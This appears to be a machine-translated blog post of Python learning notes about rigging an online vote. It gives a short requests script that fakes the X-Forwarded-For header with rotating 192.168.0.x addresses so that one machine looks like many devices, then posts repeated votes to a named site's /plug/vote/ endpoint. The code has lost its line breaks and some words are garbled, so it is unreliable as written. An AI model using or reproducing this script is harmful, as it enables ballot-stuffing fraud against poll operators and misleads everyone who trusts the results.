Recently did not write, in fact, the way the cloud accumulated a lot, but no time to tidy up.
There are so many things to do.
Many votes do not need to log in, this brush is very simple. The principle is x-forwarded-for. Don't say much nonsense on the code
Import requestsimport timehost = ' xx ' def getsession (): ss = requests.session () ss.headers[' host ']= host Ss.header s[' Connection ']=r ' keep-alive ' ss.headers[' Accept ']=r ' */* ' ss.headers[' Origin ']=r ' http://zhengwen.hecul.com ' ss.he aders[' X-requested-with ']=r ' XMLHttpRequest ' ss.headers[' user-agent ']=r ' mozilla/5.0 (Windows NT 6.1; Win64; x64) applewebkit/537.36 (khtml, like Gecko) chrome/61.0.3163.91 safari/537.36 ' ss.headers[' Content-type ']= R ' application/x-www-form-urlencoded; Charset=utf-8 ' ss.headers[' Referer ']=host ss.headers[' accept-encoding ']=r ' gzip, deflate ' ss.headers[' Accept-langu Age ']=r ' zh-cn,zh;q=0.8,en;q=0.6,en-gb;q=0.4 ' return ssfor x in range (3,150): Try:time.sleep (3) SS = G Etsession () # Simulates different devices on the same wifi. ss.headers["x-forwarded-for"] = ' 192.168.0. ' + str (x) # Gets the cookie Ss.get (host) # Sets the data length. Can be obtained by the bottom data data= ' id=2&voteoption=101 ' ss.headers[' content-length '] = str (len data) # send Data R = Ss.post (R '%s/plug/vote/'%host,data=data) print (r.text) except Exception as E:prin T (Str (e)) pass
[Python Learning notes] simple swipe voting